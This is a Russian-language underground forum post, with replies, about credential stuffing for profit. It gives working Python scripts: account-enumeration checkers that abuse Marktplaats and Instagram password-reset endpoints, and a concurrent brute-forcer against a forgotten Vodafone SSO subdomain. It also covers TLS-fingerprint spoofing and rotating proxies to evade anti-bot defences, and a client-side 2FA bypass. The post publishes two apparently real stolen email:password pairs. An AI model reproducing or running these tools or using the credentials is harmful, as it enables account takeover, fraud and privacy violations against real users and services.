LIMB
Вход Регистрация

тема

Как мисконфигурации и забытые эндпоинты превращаются в кнопку “бабло” для брутера. Написание чекеров и регчекеров

unreachable · · 4 ответов · 860 просмотров

Не удалось прогрузить медиа

Всем привет, с вами опять @unreachable_11 . Это третья статья из серии статей по бруту. В прошлых двух частях мы с вами взглянули на инактивы и правильный подход к бруту mail:pass. В них я много говорил о всяких чекерах и регчекерах, мы с вами их делали и получали почты
 
Но в прошлых частях все было довольно просто. Мы не сталкивались с трудностями при их написании. Но процесс создания таких скриптов далеко не всегда такой простой, как я показывал. То что я показывал, скорее, исключение из правил
Сегодня мы с вами посмотрим, как правильно создавать чекеры и регчекеры, как обходить анти бот системы без решалок и почему навыки веб пентестера тут необходимы. Начнем

Почему для написания нужен особый подход?
Сейчас, скорее всего, это главный вопрос какой у вас возник. Ну увидел что на сайте есть антибот, прикрутил решалку. В чем проблема? А основная проблема в скорости и дополнительных затратах, из за каких вы можете пойти в -. Ну и через решалки все обойти у вас не получится. То-есть, получается целый букет из минусов и подводных камней.  

Вот возьмём к примеру такую австрийскую доску объявлений как Willhaben. Допустим, для нее нам надо реализовать регчекер чтобы прикарманить немного инактивов
На страницах входа и регистрации тут стоит reCAPTCHA 
Не удалось прогрузить медиа

Прайс за 1000 решений - примерно 2.8 евро. Что по текущему курсу примерно 3.4$
Не удалось прогрузить медиа

Решение одной капчи обойдется вам в 2 секунды лишнего времени. Ну и цена за 1000 решений довольно не дешевая. Бруты на данную площадку сейчас стоят вот так:
Не удалось прогрузить медиа

Вроде-бы, все должно быть нормальным на первый взгляд, кнопка “бабло” найдена. Да, регчекер будет дороговатым и медленным, но в - пойти тяжело. Вроде-бы… Но давайте заглянем чуть глубже
По данным посещений, основное кол-во пользователей тут - австрийцы
Не удалось прогрузить медиа

Австрия довольно маленькая страна, в отличии от Германии. Выбор отечественных почтовых сервисов тут совсем не большой. В основном люди пользуются aon.at/a1.net На этих доменах создать почту просто так не получится. На это есть свои причины:
  1. Зарегестрировать почту с доменом aon.at невозможно с 2012 года, после того как компания сделала ребреднинг
  2. Но у нас есть домен a1.net , хоть и на нем меньше пользователей. Но для того чтобы создать почту a1.net, нужно быть клиентом компании Telekom Austria

Тыкать почты австрии - не вариант. Но у нас есть еще немцы, у каких десятки отечественных почтовых сервисов и какие составляют 4.3% всех посещений на willhaben
4.3% хватит, чтобы добывать инактивы под willhaben в нормальном количестве. Но для брутов willhaben есть одно важное условие - к аккаунту не должен быть привязан номер телефона. А все потому что для того чтобы сбросить пароль, нужно получить код на номер
И теперь давайте подумаем, выгодно ли нам тратить деньги на решалку при таком большом кол-ве подводных камней? Очевидно, что нет

JA3 отпечатки
Также очень важно понимать, что такое JA3-отпечатки. Кодеры, которые работают с вебом, обычно знают, что это такое и как это есть. Однако среди пентестеров далеко не все хорошо знакомы с этим понятием

Зайду немного издалека. Вот вы замечали, что когда вы пишите какой-то базовый пайтон скрипт на тех же requests, при запросах в ответе часто 403 request blocked? Хотя в скрипте айпишник чистый и настоящий юзер агент. Виною этому ja3 отпечаток 

Ja3 отпечаток - это цифровой отпечаток HTTPS-подключения, по которому можно определить, каким браузером или программой было установлено соединение. 
Давайте рассмотрим это на практике. Отправим через requests запрос на vinted.de
Не удалось прогрузить медиа

Как мы видим в ответе 403. Нас заблокировали за простой GET запрос, хотя мы с вами даже не успели проявить какую-то подозрительную активность
Дело в том, что благодаря ja3 отпечатку, сайт видит что запрос был отправлен не реальным браузером а скриптом. Достанем ja3 hash и посмотрим его через  https://ja3.zone/
Не удалось прогрузить медиа

Не удалось прогрузить медиа

Теперь все понятно
Но решение этой проблемы есть — библиотека curl_cffi.

Она умеет имитировать TLS-отпечатки популярных браузеров и поддерживает несколько десятков готовых профилей. Благодаря этому можно отправлять запросы так, чтобы они выглядели максимально похожими на запросы от реального браузера.

Не удалось прогрузить медиа

Вот теперь нас пускает на сайт. Благодаря этой библиотеке было реализовано примерно 90% всех моих софтов, какие ругались на всякие aiohttp и httpx

Написание чекеров и регчекеров

После того, как мы разобрались с базой мы можем перейти к основной части статьи. Будем двигаться по возрастанию, от самого простого к самому сложному. Первым делом мы с вами разберем написание регчекера на marktplaats 2dehands

marktplaats.nl и 2dehands.be
 - самые популярные доски объявлений в нидерландах и в бельгии, созданные одной и той же конторой. Это можно понять по одинаковому дизайну и одинаковым запросам. С нашей точки зрения, процесс написания регчекера отличаться не будет 

Единственная форма, какая подходит для реализации регчекера через сайт - форма для регистрации. Давайте посмотрим что происходит под капотом через бурп
Не удалось прогрузить медиа

recaptchaToken. Неприятный момент. В таких случаях, я даже не пробую обходить этот токен. Я сразу качаю мобильное приложение на телефон, если оно есть. На практике приложениям зачастую уделяют гораздо меньше внимания с точки зрения защиты, чем веб-версии. Поэтому нередко именно через API мобильного клиента можно найти более простой способ реализации, без всяких анти ботов. Поэтому проксируем трафик через бурп сьют и смотрим

Немного полазив по мобильному приложению, я увидел, что регчекер можно сделать через сброс пароля, а не через страницу регистрации. Если почта есть в системе и не заблокирована, ответ будет следующий:
Не удалось прогрузить медиа

А если ссылку на сброс отправить не удалось, нам просто выдаст следующую ошибку:
Не удалось прогрузить медиа

На отпечатки сайту до одного места, поэтому будем использовать httpx. Он быстрее и удобнее чем curl_cffi
Однако чтобы нас не заблокировали, прокси тут необходимы. Если честно, я не очень люблю использовать прокси пул. Я использую резидентские ротационные прокси, где каждый запрос отправляется с нового айпи. В цене они почти не отличаются
За несколько минут я накидал вот такой базовый регчекер:
Python:
import httpx
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init

init()

url = "https://app.marktplaats.nl/app/identity/v3/password-reset/initiate?screenWidth=65&screenHeight=141&magic_number=&gaClientId="

headers = {
    "Host": "app.marktplaats.nl",
    "Cookie": "luckynumber=",
    "Content-Type": "application/json",
    "Accept": "*/*",
    "Ecg-Locale": "nl-NL",
    "Ecg-Ui-Lang": "en",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "ru",
    "Ecg-Tenant": "MP",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0"
}

proxy = "socks5://ваши прокси"

parser = argparse.ArgumentParser()
parser.add_argument("-f", "--file", required=True)
parser.add_argument("--workers", type=int, default=200)
args = parser.parse_args()

good_file = open("good.txt", "a", encoding="utf-8")
bad_file = open("bad.txt", "a", encoding="utf-8")
unknown_file = open("unknown.txt", "a", encoding="utf-8")

def check(email):
    try:
        payload = {"email": email}

        with httpx.Client(
            proxy=proxy,
            timeout=20,
            http2=True,
            verify=False
        ) as client:
            r = client.post(url, headers=headers, json=payload)

        text = r.text.strip()

        if r.status_code == 200 and text == "{}":
            print(Fore.GREEN + f"[GOOD] {email}" + Style.RESET_ALL)
            good_file.write(email + "\n")
            good_file.flush()
            return

        if r.status_code == 400 and "BAD_REQUEST" in text:
            print(Fore.RED + f"[BAD] {email}" + Style.RESET_ALL)
            bad_file.write(email + "\n")
            bad_file.flush()
            return

        print(Fore.YELLOW + f"[UNKNOWN] {email} | {r.status_code} | {text[:200]}" + Style.RESET_ALL)
        unknown_file.write(f"{email} | {r.status_code} | {text}\n")
        unknown_file.flush()

    except Exception as e:
        print(Fore.MAGENTA + f"[ERROR] {email} | {str(e)}" + Style.RESET_ALL)
        unknown_file.write(f"{email} | ERROR | {str(e)}\n")
        unknown_file.flush()


with open(args.file, "r", encoding="utf-8", errors="ignore") as f:
    emails = [line.strip() for line in f if line.strip()]


with ThreadPoolExecutor(max_workers=args.workers) as executor:
    futures = [executor.submit(check, email) for email in emails]
    for _ in as_completed(futures):
        pass


good_file.close()
bad_file.close()
unknown_file.close()
Не удалось прогрузить медиа

И работает он отлично. Без всяких решалок и блокировок

Брутер arcor.de
Вот это довольно интересная история. Увы, сейчас этот брутер уже не работает. Но сам по себе кейс реализации безумно интересный, я не могу с вами им не поделиться
Глубокой ночью мы с товарищем вместе поняли, что у нас очень много мыла под arcor.de . И мы одновременно осознали, что почему-то еще до сих пор с ним не работали

Что же из себя представляет этот аркор? Arcor - это бывший интернет провайдер, какой выкупила компания водафон еще в далеком 2008 году. В конце нулевых, это был наверное один из самых популярных почтовиков в германии. 

Почты arcor были доступны только клиентам бывшего аркора. Если честно, я без понятия когда можно было зарегестрировать последние @arcor.de почты. Думаю, это начало десятых годов. Если так подумать, почты очень старые. А значит скорее всего на всех них включен имап. Мы пошли смотреть

После того как мы посмотрели, мы поняли. Да - имап включен. Сервер - imap.vodafonemail.de:993. Вот только imap сервер у водафона очень сильно фродит. Как мы это поняли, я сразу же решил реализовать под аркор веб брутер
Главная страница для входа в аркор почты - mail.vodafone.de
Не удалось прогрузить медиа

Сперва я пытался реализовать чекер через главный вход. Я думал, то что это будет легко. Но как оказалось - не очень. Палки в колеса вставляла инкапсула (Imperva). Спустя около сотни проверок, имперва каждый раз сильно сопротивлялась и блокировала почти все запросы
Не удалось прогрузить медиа

Если честно, это меня немного расстроило. Я еще пару часов мучался, но после неуспехов забил на это дело

Спустя пару дней, в своих дампах я заметил таинственный домен - ish.de. Почему то этого домена в дампе было много. Мне стало интересно что это, и я спросил у ИИ что это за таинственный домен такой
Не удалось прогрузить медиа

Как оказалось, эту компанию тоже купил водафон. Еще почитав, я узнал что водафон выкупили еще парочку компаний какие предоставляли адреса почт в прошлом -  Unitymedia и Kabel Deutschland . Домены были @unitybox.de  и @kabelmail.de

Немного посидев, я подумал, что на каком-то из этих доменов может быть поддомен, через какой можно войти в аркор, юнитимедиа и другие почты. Для этого я нашел все домены, какие принадлежали водафону и сделал разведку. 
Не удалось прогрузить медиа

Почти все они редиректили на live.vodafone.de. Кроме одного - sso.kabelmail.de
Увы, после того как мы прогнали пару лямов строк поддомен закрыли, а скринов как он выглядел у меня не осталось. Но выглядел он примерно вот так:
Не удалось прогрузить медиа

Был очень похожий старый интерфейс. Посмотрев поддомен через вейбек машину, можно понять, что он редиректил на live.vodafone.de с 2022 по 2025 год. Но почему-то его решили достать из мертвых. Зачем они это сделали - не понятно
Выглядел запрос в сыром виде следующим образом
Не удалось прогрузить медиа

Ответы после ввода кредов выглядели вот так:
Не удалось прогрузить медиа

Работал чекер на httpx + ротационных прокси. Кому интересно, оставлю код чтобы вы посмотрели как это было
Python:
import asyncio
import argparse
import time
from collections import Counter
import httpx
from tqdm import tqdm


URL = "https://sso.kabelmail.de/services/CustomerService.asmx/loginCustomer"

PROXY = "socks5://прокси"

HEADERS = {
    "Sec-Ch-Ua-Platform": '"Windows"',
    "Accept-Language": "de-DE,de;q=0.9,en;q=0.8",
    "Sec-Ch-Ua": '"Not-A.Brand";v="24", "Chromium";v="146"',
    "Sec-Ch-Ua-Mobile": "?0",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Accept": "*/*",
    "Content-Type": "application/json; charset=UTF-8",
    "Origin": "https://sso.kabelmail.de",
    "Referer": "https://sso.kabelmail.de/",
}


# ---------------- PROCESS ITEM ---------------- #

async def process_item(client, email, password):

    payload = {
        "request": {
            "username": email,
            "password": password,
            "target": "",
            "force": ""
        }
    }

    retries = 0

    while retries < 100:
        try:
            r = await client.post(
                URL,
                headers=HEADERS,
                json=payload,
            )

            # RETRY
            if r.status_code in (403, 429):
                retries += 1
                continue

            # HTML BLOCK
            if "text/html" in r.headers.get("Content-Type", ""):
                return "error", f"HTML_BLOCK {r.status_code}"

            # JSON
            try:
                data = r.json()
            except:
                return "error", f"JSON_ERROR {r.status_code} {r.text[:200]}"

            state = None
            code = None

            if isinstance(data, dict) and "d" in data:
                d = data["d"]
                state = d.get("state")
                code = d.get("code")

            # LOGIC
            if state == 0:
                return "good", None

            elif state == 1:
                if code == "E_INVALID_CREDENTIALS":
                    return "bad", None

                elif code == "E_BLOCKED":
                    return "blocked", None

                else:
                    return "unknown", code

            else:
                return "error", f"UNKNOWN_STATE {state} {str(data)[:200]}"

        except Exception as e:
            retries += 1

    return "error", "MAX_RETRIES"


# ---------------- WORKER ---------------- #

async def worker(work_q, good_q, bad_q, unknown_q, blocked_q, error_q,
                 client, args, counters):

    while True:

        item = await work_q.get()

        if item is None:
            work_q.task_done()
            return

        email, password = item

        for attempt in range(args.max_retries):

            try:

                result, extra = await process_item(client, email, password)

                if result == "good":
                    await good_q.put(f"{email}:{password}\n")
                    counters["good"] += 1

                elif result == "bad":
                    await bad_q.put(f"{email}:{password}\n")
                    counters["bad"] += 1

                elif result == "blocked":
                    await blocked_q.put(f"{email}:{password}\n")
                    counters["blocked"] += 1

                elif result == "unknown":
                    await unknown_q.put(f"{email}:{password} | {extra}\n")
                    counters["unknown"] += 1

                else:
                    if attempt == args.max_retries - 1:
                        await error_q.put(f"{email}:{password} | {extra}\n")
                        counters["errors"] += 1
                        counters["done"] += 1
                        break
                    continue

                counters["done"] += 1
                break

            except Exception as e:
                if attempt == args.max_retries - 1:
                    await error_q.put(f"{email}:{password} | {str(e)}\n")
                    counters["errors"] += 1
                    counters["done"] += 1

        work_q.task_done()


# ---------------- PRODUCER ---------------- #

async def producer(file, work_q, workers):
    with open(file, "r", encoding="utf8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if not line or ":" not in line:
                continue
            email, password = line.split(":", 1)
            await work_q.put((email, password))

    for _ in range(workers):
        await work_q.put(None)


# ---------------- WRITER ---------------- #

async def writer(queue, filename, batch_size, flush_every):
    buf = []
    last_flush = time.time()
    f = open(filename, "a", buffering=1024 * 1024, encoding="utf-8")

    while True:
        item = await queue.get()

        if item is None:
            if buf:
                f.write("".join(buf))
                f.flush()
            queue.task_done()
            break

        buf.append(item)

        now = time.time()
        if len(buf) >= batch_size or (now - last_flush) >= flush_every:
            f.write("".join(buf))
            buf.clear()
            f.flush()
            last_flush = now

        queue.task_done()

    f.close()


# ---------------- METRICS ---------------- #

async def metrics(counters, work_q):

    last_done = 0
    last_time = time.time()

    bar = tqdm(unit="items")

    while True:

        await asyncio.sleep(1)

        done = counters["done"]

        delta = done - last_done
        delta_t = time.time() - last_time

        rate = int(delta / delta_t) if delta_t else 0

        bar.n = done
        bar.set_postfix({
            "GOOD": counters["good"],
            "BAD": counters["bad"],
            "BLOCK": counters["blocked"],
            "UNK": counters["unknown"],
            "ERR": counters["errors"],
            "RATE": rate,
            "WQ": work_q.qsize()
        })

        bar.refresh()

        last_done = done
        last_time = time.time()


# ---------------- MAIN ---------------- #

async def main():

    parser = argparse.ArgumentParser()

    parser.add_argument("--input", required=True)
    parser.add_argument("--workers", type=int, default=200)
    parser.add_argument("--max-retries", type=int, default=3)

    args = parser.parse_args()

    work_q = asyncio.Queue(5000)
    good_q = asyncio.Queue(20000)
    bad_q = asyncio.Queue(20000)
    unknown_q = asyncio.Queue(20000)
    blocked_q = asyncio.Queue(20000)
    error_q = asyncio.Queue(10000)

    counters = Counter()

    limits = httpx.Limits(
        max_connections=args.workers,
        max_keepalive_connections=args.workers
    )

    timeout = httpx.Timeout(15)

    async with httpx.AsyncClient(
        limits=limits,
        timeout=timeout,
        proxy=PROXY,
        verify=False
    ) as client:

        workers = [
            asyncio.create_task(
                worker(work_q, good_q, bad_q, unknown_q, blocked_q, error_q,
                       client, args, counters)
            )
            for _ in range(args.workers)
        ]

        producer_task = asyncio.create_task(producer(args.input, work_q, args.workers))

        writer_good = asyncio.create_task(writer(good_q, "good.txt", 5000, 3))
        writer_bad = asyncio.create_task(writer(bad_q, "bad.txt", 5000, 3))
        writer_unknown = asyncio.create_task(writer(unknown_q, "unknown.txt", 5000, 3))
        writer_blocked = asyncio.create_task(writer(blocked_q, "blocked.txt", 5000, 3))
        writer_error = asyncio.create_task(writer(error_q, "errors.txt", 5000, 3))

        metrics_task = asyncio.create_task(metrics(counters, work_q))

        await producer_task
        await work_q.join()

        for w in workers:
            await w

        for q in [good_q, bad_q, unknown_q, blocked_q, error_q]:
            await q.join()
            await q.put(None)

        await writer_good
        await writer_bad
        await writer_unknown
        await writer_blocked
        await writer_error

        metrics_task.cancel()

        print("\nDONE:", counters)


if __name__ == "__main__":
    asyncio.run(main())
В итоге мы набрутили немало этого вашего аркора
Не удалось прогрузить медиа

Но аркором мы не ограничились. Так же через этот поддомен можно было свободно брутить @ish.de, @kabelmail.de, и @unitybox.de. Получаеться, вышел универсальный водафон брутер
После входа в почту, почти на всех почтах было что-то наподобие 2фа
Не удалось прогрузить медиа

Какой легко обойти, если удалить это окно через вкладку Elements в Devtools. Вот, попробуйте сами на этих почтах:
Code:
[email protected]:Siniloveu1
[email protected]:Sportex1958?
Интересный баг, не так-ли?)

Вот такое получилось путешествие в мир водафона. Спустя несколько дней как мы закончили брутить домен снова редиректил на live.vodafone.de . Спалили, но слишком поздно. Все строки мы прогнали и получили максимальный профит. Интересныыйы опыт

Регчекер инстаграма
Помните, в начале статьи мы с вами говорили о ja3 отпечатках? Как раз сейчас мы на реальном примере будем обходить анти бот защиту через curl_cffi

Перед тем как продолжить, прочитайте документацию curl_cffi
Когда я начал искать эндпоинт для регчекера, я сразу же его нашел. Находится эндпоинт на сбросе пароля
Не удалось прогрузить медиа

Теперь через бурп посмотрим, что же там происходит под капотом. Однако инстаграм палит, что мы проксируем запросы и блокирует их
Не удалось прогрузить медиа

Дело в том, что сервер видит, что TLS отпечаток принадлежит бурпу. И как раз вина блокировки запросов не грязный айпи, а именно бурп сьют. Потому что с обычного браузера сброс пароля делается без проблем
Чтобы понять, удастся ли нам написать регчекер, отправим два одинаковых запроса на сброс: через httpx и curl_cffi. Для curl_cffi будем использовать отпечаток firefox
Не удалось прогрузить медиа

Как мы видим, запрос через httpx не пускает. Однако с curl_cffi картина совсем другая. 
После этого, через curl_cffi мы чистим запрос от мусора, так как в нём очень много лишних заголовков и параметров 

Для регчекера нам нужно понять, какие есть ответы и на что нам стоит ориентироваться чтобы определить почта good или bad. Возьмём ответы для зарегистрированной и незарегистрированной почты и сравним их
Не удалось прогрузить медиа

Индикаторов много. Сделаю так: если в ответе есть “persist_data”, значит почта существует и записывается в good.txt. Если нету - это bad, записывается в bad.txt. Если в ответе есть Rate limit exceeded - то регчекер делает до 15 ретраев. Если и после 15 ретраев статус определить не удалось - пишет в limit.txt

Будем использовать мои любимые ротационные прокси, так как инстаграм довольно сильно фродит и отправить много запросов с одного айпи не получится 
Быстро сделаем базовый регчекер. Отпечаток возьмём chrome124
Не удалось прогрузить медиа


Не удалось прогрузить медиа

Но все равно лимиты. Вы спросите меня “Почему? Отпечаток же был изменен”
Так происходит потому что в моменте с одного отпечатка начинает слатся очень много запросов, инстаграм это видит и блокирует их
Избежать этого довольно просто - брать рандомный отпечаток из списка на каждый запрос 
Не удалось прогрузить медиа

Запускаем нашу тестовую версию и смотрим на результат
Python:
from curl_cffi import requests as curl_requests
import json
import argparse
from pathlib import Path
import threading
import concurrent.futures
import time
import random
from colorama import init, Fore, Style
init(autoreset=True)

FINGERPRINTS = [
    "chrome", "chrome100", "chrome101", "chrome104", "chrome107",
    "chrome110", "chrome116", "chrome123", "chrome131", "chrome133a", "chrome136",
    "chrome99_android",
    "safari15_3", "safari15_5", "safari17_0", "safari18_0", "safari18_4",
    "safari153", "safari155", "safari170", "safari180", "safari184", "safari260",
    "safari17_2_ios", "safari18_0_ios", "safari18_4_ios",
    "safari172_ios", "safari180_ios", "safari184_ios", "safari260_ios",
    "firefox133", "firefox135",
]

def find_persist_data(obj):
    if isinstance(obj, dict):
        if "persist_data" in obj:
            return obj["persist_data"]
        for value in obj.values():
            result = find_persist_data(value)
            if result is not None:
                return result
    elif isinstance(obj, list):
        for item in obj:
            result = find_persist_data(item)
            if result is not None:
                return result
    return None

def process_email(email, headers, base_data, proxies, good_file, bad_file, limit_file,
                  good_lock, bad_lock, limit_lock):
    for attempt in range(15):
        try:
            variables = {
                "params": {
                    "event_request_id": "event_request_id с запроса",
                    "next_uri": "",
                    "search_query": email,
                    "waterfall_id": "waterfall_id с запроса"
                }
            }
            data = base_data.copy()
            data["variables"] = json.dumps(variables)
            impersonate = random.choice(FINGERPRINTS)
            resp = curl_requests.post(
                "https://www.instagram.com/api/graphql",
                headers=headers,
                data=data,
                proxies=proxies,
                impersonate=impersonate,
                timeout=30,
                verify=False
            )
            if "Rate limit exceeded" in resp.text:
                if attempt < 14:
                    continue
                else:
                    with limit_lock:
                        limit_file.write(email + "\n")
                        limit_file.flush()
                    print(Fore.YELLOW + f"{email} - Rate limit exceeded after 15 retries → limit.txt")
                    return
            if resp.status_code != 200:
                if attempt < 14:
                    continue
                else:
                    print(Fore.RED + f"{email} - Error after 5 retries (status {resp.status_code})")
                    return
            
            j = resp.json()
            persist = find_persist_data(j)
            
            if persist is None:
                with bad_lock:
                    bad_file.write(email + "\n")
                    bad_file.flush()
                print(Fore.RED + f"{email} - Not exists → bad.txt")
            else:
                with good_lock:
                    good_file.write(email + "\n")
                    good_file.flush()
                print(Fore.GREEN + f"{email} - exists → good.txt")
            return
        except Exception as e:
            if attempt < 4:
                continue
            else:
                print(Fore.RED + f"{email} - Failed after 5 retries: {str(e)}")
                return

def main():
    parser = argparse.ArgumentParser(description="Многопоточная проверка email + ротация impersonate + ретраи на лимит")
    parser.add_argument("-f", "--file", required=True, help="Файл со списком email")
    parser.add_argument("-t", "--threads", type=int, default=10, help="Количество потоков")
    args = parser.parse_args()
    
    file_path = Path(args.file)
    if not file_path.exists():
        print("Файл не найден!")
        return
    emails = [line.strip() for line in file_path.read_text(encoding="utf-8").splitlines() if line.strip()]
    if not emails:
        print("Файл пустой!")
        return
    
    print(f"Найдено {len(emails)} email. Запуск в {args.threads} потоках...\n")
    
    good_file = open("good.txt", "a", encoding="utf-8")
    bad_file = open("bad.txt", "a", encoding="utf-8")
    limit_file = open("limit.txt", "a", encoding="utf-8")
    
    good_lock = threading.Lock()
    bad_lock = threading.Lock()
    limit_lock = threading.Lock()
    
    proxy = "socks5://вашм прокси"
    proxies = {"http": proxy, "https": proxy}
    
    headers = {
        "Host": "www.instagram.com",
        "X-Fb-Lsd": "ваш lsd",
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36",
        "Sec-Fetch-Site": "same-origin",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.9",
        "Origin": "https://www.instagram.com",
        "Referer": "https://www.instagram.com/",
    }
    base_data = {
        "lsd": "ваш lsd",
        "doc_id": "ваш doc_id"
    }
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = [
            executor.submit(
                process_email, email, headers, base_data, proxies,
                good_file, bad_file, limit_file,
                good_lock, bad_lock, limit_lock
            )
            for email in emails
        ]
        concurrent.futures.wait(futures)
    
    good_file.close()
    bad_file.close()
    limit_file.close()
    
    print("\nГотово! Результаты в good.txt, bad.txt и limit.txt")

if __name__ == "__main__":
    main()
Не удалось прогрузить медиа

Готово! Теперь наш регчекер работает без отлично и стабильно

Заключение 
Вот и подошла к концу третья статья из серии статей по бруту. В этой статье мы рассмотрели на реальных интересных кейсах, как правильно писать скрипты для брута путем поиска небольших багов в веб приложениях и получать с них максимальный профит.
Теперь вы знаете, как самые базовые навыки в веб пентесте могут помочь написать такие софты без лишних затрат и без больших навыков в обходе анти бот систем.
👍44 ❤️6 🔥8 😮9 💯12
Отличная статья, спасибо! Разбирать WAFки будешь? Интересно было бы почитать
Неплохая статья, хорошо что рассказал про отпечаток JA3. В прошлой статье не увидел, хотел подметить это.

Дополню. Существует JA4 отпечаток ( а так же JA4+)  который такими способами обойти достаточно тяжело, ближе к невозможному. Детект близится к 100%

JA3 хэширует 5 полей ClientHello в MD5 хеш. Хеширование происходит в том порядке, в котором эти параметры пришли => огромная вариация хешей. Каждый будет уникален 
У JA4 принцип другой, он состоит из 3 сегментов.  И перед хеширование происходит сортировка в определенный порядок , что соответственно кратно режет возможное количество хешей. Для обхода, надо менять само значение параметров а не их порядок. Нужно имитировать полный профиль реального браузера. 


И так же, упомяну челленджи. IUAM. Managed Challenge. Turnstile. 

Челлендж  это проверка, которую тот же Cloudflare выдаёт клиенту перед доступом к сайту, чтобы убедиться что это человек, а не бот.
Браузер получает страницу с задачей, выполняет её, отправляет результат обратно. Если прошёл — получает доступ. 

обычные либы типо requests/curl не содержат JS движка => не могут выполнить челлендж вообще.


Ну и в будущем, хотелось бы почитать как указали выше, обходы WAF, CF, получение того же cf_clearance.
👍5 ❤️1 🔥1
ОтветAnwar

Неплохая статья, хорошо что рассказал про отпечаток JA3. В прошлой статье не увидел, хотел подметить это. Дополню. Существует JA4 отпечаток ( а так же JA4+) который такими способами обойти достаточно тяжело, ближе к…

спасибо за дополнение
👍4 ❤️1 🔥1
ОтветOkila

Отличная статья, спасибо! Разбирать WAFки будешь? Интересно было бы почитать

привет. а что конкретно ты имеешь ввиду? наведи пример. может есть такие кейсы за всю работу , просто забыл про них
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.